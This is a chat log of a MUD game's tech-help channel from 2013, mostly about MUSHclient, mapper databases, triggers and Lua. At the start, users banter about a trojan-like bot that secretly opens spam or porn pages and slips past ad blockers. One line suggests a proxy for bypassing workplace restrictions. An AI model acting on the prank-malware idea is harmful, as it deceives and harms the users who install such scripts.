T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Hah, write a bot with tourrettes.... ;)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Zade Tech: distributing scripts and software with malicious trojans is likely "illegal" and or "immoral" somewhere
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: ooh, I know.  Use local echoes to fill up their window spaces with ansi-art banners that say DON'T BOT!!!
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: he didn't say he did it, he just said he thought about it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: like you think of bashing a persons head in that asks for the location of a script that a simple google search would have brought up
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: doesn't mean you actually did it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: But there's conspiracy to commit murder! :p
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Wildkard gasps in astonishment.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: somebody hide me
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I ain't Antoin Dodson.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: giving someone a bot is kind of a big stretch for a murder-related charge.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I ain't hidin' yo kids and wife and husbands.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: they are on their own
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Wildkard snickers softly.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: not when they realize what that bot really does :)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Zade Tech: but if writing and distributing pernicious malicious trojans is "legal", coming soon to your (microsoft?) software ... (sponsored by the RIAA and other greedy corporates) ... 
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: Zade, ain't you ever heard of rootkits?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mye Tech: if you put it into the license agreement and they click "accept" .........
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It can turn into a conspiracy to commit murder once they find the end result. ;)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: oh, heh, even better.  Use the script to randomly open up webpages.  It should take 'em a while to figure out that it's the mud client causing all that popup spam.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh man... time to generate a list of gay porn sites for that very reason.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: like you've got to generate that list
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: just copy your favorites folder
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: True, I could just borrow it from you, Abelinc.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: HAH
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Birdbrain Metria Tech: So you're saying Abelinc is the giver and you're the receiver?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: nah, don't stick to one genre.  Too easy for the adkillers and firewalls to block.  Could perhaps piece together relevancies based on keywords in the scrollback or something.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Google's "I'm feeling lucky" would come in handy.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: and if you stick to "clean" sites, you wouldn't have to worry about blockages either.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Google "I'm feeling lucky" "some obscene act"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Er.. How would googling it defeat an adblocker? You still have to browse to that site.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: could even take inspiration from those prank apps, like the one that teleports the cursor every time you try to get close to a window's titlebar.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: where does the mapper keep it's db file?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: <worldname>.db
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: does .db-shm go with it?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the page on aardwolf's website where you download aardMUSH tells you how to move stuff from an old one to a new folder, and tells you where the mapper file is
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: and .db-wal
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: don't touch it with MUSHclient open
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: i won't
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: but do the db-* files go with it?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: for just the map database
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: hello?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: those other files shouldn't normally exist when MUSHclient isn't running, they should be flushed into the main .db file
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: hrm, okay
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: but if you'd just read the page I pointed you to, it answers
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Vexthorne Tech: What's the easiest way to maintain my current settings from main port for test port in mushclient?  Do I really need to make a second mushclient folder?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: can't you just change your conection settings?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: that's the easiest way...just copy/paste your current MUSHclient folder
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Vexthorne Tech: I have no idea how I would do that Wildkard.  What would I do after C/Ping the folder to default it to test instead then?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the downside of changing connection settings is that anything trying to track things like your equipment, stats/events, etc will get out of whack
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: game -> config -> name/IP
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Wildkard nods at you in agreement. 
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: thats what i would do just change the port there
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: don't even need to copy anything if you just want to change it back and fourth from there
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: just know that some of your stuff will then not have correct information
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: true might mess up the map i guess if the areas are different
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Zade Tech: does Aard-MushClient allow for a square array of small buttons somewhere convenient on the screen that may be left-clicked by the mouse to use (and right-clicked to change)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mailg Tech: hey i just loaded up aardwolf mushclient on my laptop this eve, and now back on my desktop my grid map isnt showing zones, just the BIGMAPs....
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: is the Aardwolf.db (MAPPER DB) a mysql db?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Daesilme Tech: sqlite
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: is it possible to merge 2 dbs?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Daesilme Tech: if you write the sql to do so, yes
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: damn
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Daesilme Tech: Might not be trivial, though.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: yeah i dun know much about sql except how to use mysql to create db, users, and access
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: there are plenty of tools, google it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: i wouldn't know whee to begin
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: sql lite sync seems to do it for mac easily
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: I would google merge sql lite database easy and see if you can find a wizzywig to do it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Pei Tech: wizzywig?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: a wizard drivin program that requires very little brain power
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mailg Tech: what you see is what you get?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Tech: yeah, wizzywig is spelled wysiwyg, and isn't a wizard-driven program that requires little brainpower, it's merely something which shows you what the code it's generating will really look like
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Tech: used for things like HTML editors when they show you what the page should render as (like if you use Word to save as html) rather than, say, writing the code in notepad
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Wildkard Tech: indeed not the right word, meant wizard driven program
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Wildkard Tech: unless you take a more lose defination and say a program that hides the details and pretty much does the technical work for you
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Wildkard Tech: and just shows you the finished results
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Tech: still not what the term means
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Linkk Tech: does anyone here have any exprience with blowtorch? i have an issue with channel output having {chan ch=CHANNAME at the star of every channel.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: Those are tags from te mud
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: Type 'tags off' to get rid of them.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ayasinda Tech: that is not blowtorch. Type tags off
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: A different client that you used probably wanted them on and turned them on for you.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Linkk Tech: oh lol thanks :)
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: And that client doesn't know that it doesn't want them, so it doesn't turn them off.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Jaenelle Tech: So if you swap clients later, they might get turned back on again :)
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: hi. i'm doing a quest now but i can't see certain rooms in Mudwog's Swamp. those are the rooms the quest mobs are located. my quest time is running out soon! is this a bug??
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: What do you mean you can't see them?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: whenever i enter the room, it just says i'm in darkness, and my map does not update
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: Do you have night vision casted? If so, create a ball of light usign the 'create light' spell and drop it in that room
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Bamboo Tech: Night Vision?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}RedRain Tech: nughtvision
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: Then you either need nightvision, another lit light in the room, or wait until daytime
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: i've been stuck here for a few in-game days already but no luck
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: 1 more minute till my quest ends :((((
T3/r7/2013-06-24.txt.gz:{chan ch=tech}RedRain Tech: night vision
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: Then you need one of the other two options
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: Darkness isn't a on/off value, it's a numeric value that could require more than one source of light.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Digitalis Tech: type k (mob name)
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Digitalis Tech: see what happens...shrug
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Tech: Leinei shakes his head at Digitalis.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: oh well. it's over
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Digitalis Tech: or do you have a spell that attacks any mobs in room?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: no?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Digitalis Tech: bleh...
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: i used to be able to see fine in that room when i was on another quest
T3/r7/2013-06-24.txt.gz:{chan ch=tech}SweetHeart Madcatz Tech: Which room?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: You might read up on 'help brightness' and see if that clears anything up for you.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: hm, i seem to be able to see now, thanks to Failboat. you were right. it's night vision
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: Every single one of us said cast night vision :p
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: i don't have that spell
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Leinei Tech: You could also have cast continual light and dropped it in the room, like a couple of us suggested
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Ixle Tech: Yeah. Read help brightness to get the full scoop.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: i might have missed those messages. too many things were happening on the screen
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shue Tech: got it. cheers
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Shinda Hailz Tech: is there a aardwolf client for WP 7.5?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Jopari Tech: how do you quote a message you received?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Jopari Tech: how do you quote something?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}[Tank] Skystar Tech: my spellup have coding under it like  {affon} 49,2310 ..what tags is this ive tried tags on .tags spellup on/off
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Wildkard Tech: using mud rammer for iphone anyone know if there is a command to make a sound so i can trigger it at quest time
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Mushambo Tech: Now that the Nook HD+ has native access to Google Play Store, and I can switch launchers...would it even be worth rooting?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Wildkard Tech: nice - need to bypass vpn / work restrictions?  SRelay for IOS, simple socks 5 proxy
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so is the fact that 'pass without trace' sends the social pass to the mud a bug with the spellup script?
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Hanslanda Tech: which spellup script.  there's no THE spellup script, but it sounds like the one you are using is assuming the first word is always the keyword command to use.
T3/r7/2013-06-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol bast spellup
T3/r7/2013-06-24.txt.gz:{chan ch=tech}DarkPchan Tech: Is there a way to fix a "runto" error? I can use "speedwalk" from recall but runto gathering gives me errors
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Roidrage Tech: can anyone help me please , my windows update takes really long to load up and then it loads up it says this service is not running but the service is running and i cant update my new installed ios
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Narhtan Tech: are triggers color sensitive?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Botman Tech: They can be, but they usually aren't.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Botman Tech: Sometimes it's useful to make them color sensitive though.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Narhtan Tech: I'm trying to make a trigger so when I enter a room with my quest target it prints several times in bright colours so I dont miss it
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That isn't colour sensitive :-P That's colour printing
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: world.ColourNote
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Botman Tech: Can probably make the client highlight the line in question, that is what (one of) my quest enhancement triggers does.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Botman Tech: Cmud here though, can't help you with MUSH, sorry :(
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Narhtan Tech: oh
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: Botman. How did you do 3 cps at level 1?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Ylar Tech: Easy. Reset tokens. :)
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: What do those do?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: Sorry wrong chan?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Tech: Narhtan cackles with glee as Bamboo blushes.  Guess his mind was on something more important than the right channel.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Dtboy Tech: can i make a double line trigger
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Mattk Tech: how do u reset map again
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Wildkard Tech: mapper purgezone <area> 
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Wildkard Tech: incase you didn't find it
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Tech: unless you're doing the minos goal, in which case it's explored resetarea ;-)
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Mattk Tech: it was control shift P reinstall GMCP Map
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: Is the android client the one mentioned in help www?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: When I went to the site, it redirected me to google play, 'Aardwolf RPG'
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Bamboo Tech: With this description 'Aardwolf RPG is a unique and free text based roleplaying game. Aardwolf is based in the fantasy world of Andolor where magic is common and there are hundreds of exotic realms to explore, puzzles to solve and quests to complete.'
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Enchantra Tech: Anyone here know where I can get a free website? :D
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Hanslanda Tech: try google.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Enchantra Tech: O_o
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Rhinokknd Tech: hello
T3/r7/2013-06-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: how's you doin
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Tech: lo
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Book of Etzli Tech: You forgot the "world" part of the program.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Rhinokknd Tech: how to zoom windows in client?
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Hanslanda Tech: Good morning, Dave.
T3/r7/2013-06-25.txt.gz:{chan ch=tech}Tech: what do you mean by zoom windows? You can resize the windows using the bottom-right corner of them, and can change the font [and font size]
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Rhinokknd Tech: thank you!
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Rhinokknd Tech: hello
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Rhinokknd Tech: how to show scoll bar in main window?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ayasinda Tech: you dont. The scrollbar is on the complete mush screen on the right. Not only on main screen
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Rhinokknd Tech: ahh,thanks
T3/r7/2013-06-26.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: what is an rst packet?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ayasinda Tech: lots of them are on google. Too much to explain. (at least for me)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ayasinda ok thanks anyways :(
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Loreli Tech: Anyone on here use tintin++?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: is there a auto skin plugin somewhere?\
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: 'autoskin' in what sense?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ontuct Tech: couldn't it be done with a basic trigger?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: in the sence that it skins corpses after you kill the mobs
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: because afaik, the closest you can get without botting is skin the kills, you can't judge stats or anything like that
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Trigger on the "You receive * experience points.", add 1 to a counter, if no more mobs (you'll have to determine your own logic there) then loop 0 to counter variable and send your skin with whatever arguments you want (boots, cloak, etc)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: could even make it randomize what to skin
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or use a variable, if you want a killer boot or something
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Bamboo Tech: okay. so i cant make more than one button in blowtorch. is this a bug?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: what happens when you try to make a button set?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Pei Tech: how do you make a multi line trigger
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Anyone here have any luck using LUA and SQLite binding in Ubuntu?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I install the packages, module "sqlite3" and require "sqlite3" and get no errors, but when I try to open a database with sqlite3.open(xxx) it says stdin:1: attempt to call field 'open' (a nil value)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: check your caps
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I copied and pasted, I typed in all lowercase...
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: lua is touchy about proper capitalzation open and Open are two diffrent functions
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: the xxx...is it a variable or a filename? should be "xxx"
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: The XX is "/var/lib/directory"
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Hmm if it can't see that file would it return nil error?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I.e. no rights?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: probably
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Just opened lua with "sudo lua" and got same nil error.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: That would eliminate a rights issue right?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: not necessarily, but probably
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: I tend to start by testing in /tmp
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I have confirmed I can open the file in sqlite itself.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and run selects etc.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: are you using db = sqlite3.open() or just calling sqlite3.open()?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: also, have you tried opening a memory database with no file? db = sqlite3.open_memory()
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Exact line is:  db = sqlite3.open("/tmp/database.sqlite")
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Same erro
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: stdin:1: attempt to call field 'open_memory' (a nil value)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'm using Lua 5.2.1 
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Kalsch Tech: zmud question:  I know in triggers, %1 will capture anything in the trigger pattern that matches it, but is there a way to capture ONLY x number of characters of that %1 ?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: should be a SUBSTR or similar
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Kalsch Tech: oh you actually have to just take the substr of it?  I was hoping there was something in place of %1 that just grabbed it
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: yeah, looks like you can use copy or left
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Lua / SQLite wrapper just work out of the box on windows :(
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Mend: there appear to be two separate Lua SQLite libraries...one has a require of "lsqlite3" (the one from lua.sqlite.org) while the other has a require of "sqlite3" (the one from mroth.net)
T3/r7/2013-06-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah I installed the lsqlite3 one as well, but no clue how to use it....
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tigernuts Tech: anyone recommend a decent youtube downloader?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Anadorr Tech: ssyoutube.com
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Bamboo Tech: idm
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tigernuts Tech: have a safe url for me?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tigernuts Tech: ssyoutube is awesome. thanks
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: Is there an easy way anyone can think of to tell if a character in the room with you is a mob or a player for scripting purposes?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ixle Tech: Color
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: I use colorset to ensure different colorings.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: I further check the messaging for each line, comparing them to known player-only states.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: Sorry, I think I asked that oddly. What I mean is, if I want a script to know if character a in a room is a player, is there a way to do that? Say for example I want it to play a sound when I enter a room with another player in it.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ixle Tech: You can do that with color.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ixle Tech: As Hans said, using colorset to differentiate between mobs and players
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: What would I be looking for to use that? RL blind so I don't generally use color for anything
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: those are the default colors, though, and mobs can have their room descs appear in a different color (that could be the same as what you set players to).
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: Oh I see what you mean I think... Let players to a specific color, then use a color specific trigger? which not sure how to do that but I could probably find it somewhere.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Ixle nods.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Faylen goes, "Hmmmm."
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: oH hmm, that's not gonna work. For some reason when I turn color on, my screen reader goes kind of weird, heh
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: it's probably reading the ansi codes, which are constructed as ESC [ number ; number m
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: tech Not exactly, but those codes are probably doing something to it. I get weird repeated text, like tw tw group. Only in mushclient, though
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: Might have something to do with the plugin that works with the screen reader. But I'm no where near advanced enough to know how to debug that
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: If you toggle notitles, you can get pretty good accuracy on whether or not something is a player
T3/r7/2013-06-26.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: kinda sounds like channel tags are getting read
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: you'll still get false-positives, though.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Faylen nods.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: I'll have to give it some more thought. Was hoping there was some easy way I didn't know about, lol. Thanks for the tips though
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: mobs and players are mixed together based on arrival into the room, so there's no order to the list.  At least the roomchars tag lets you easily detect what is a mob/player and what isn't.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: roomchars tag doesn't differentiate, I don't think
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: that's what I said. :P
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: "At least the roomchars tag lets you easily detect what is a mob/player and what isn't."  I was disagreeing with that
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: oh, nvm, I understand
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Ixle Tech: You just misinterpreted that statement
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: gotcha
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: MUSH can match triggers only on certain colors, btw.  So, if you can get past the screen-reader issue, it wouldn't be hard to make a trigger.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Hanslanda Tech: MUSH doesn't match on xterm colors?
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Dtboy Tech: it does
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Dtboy Tech: i use xterm
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Not through the GUI, it doesn't.
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: Not sure about otherwise
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Leinei Tech: But being limited to 16 colors probably isn't an issue for someone that doesn't use colors in the first place
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: well no, but then we might run into false positives again with moobs matching the same as characters
T3/r7/2013-06-26.txt.gz:{chan ch=tech}Faylen Tech: mobs
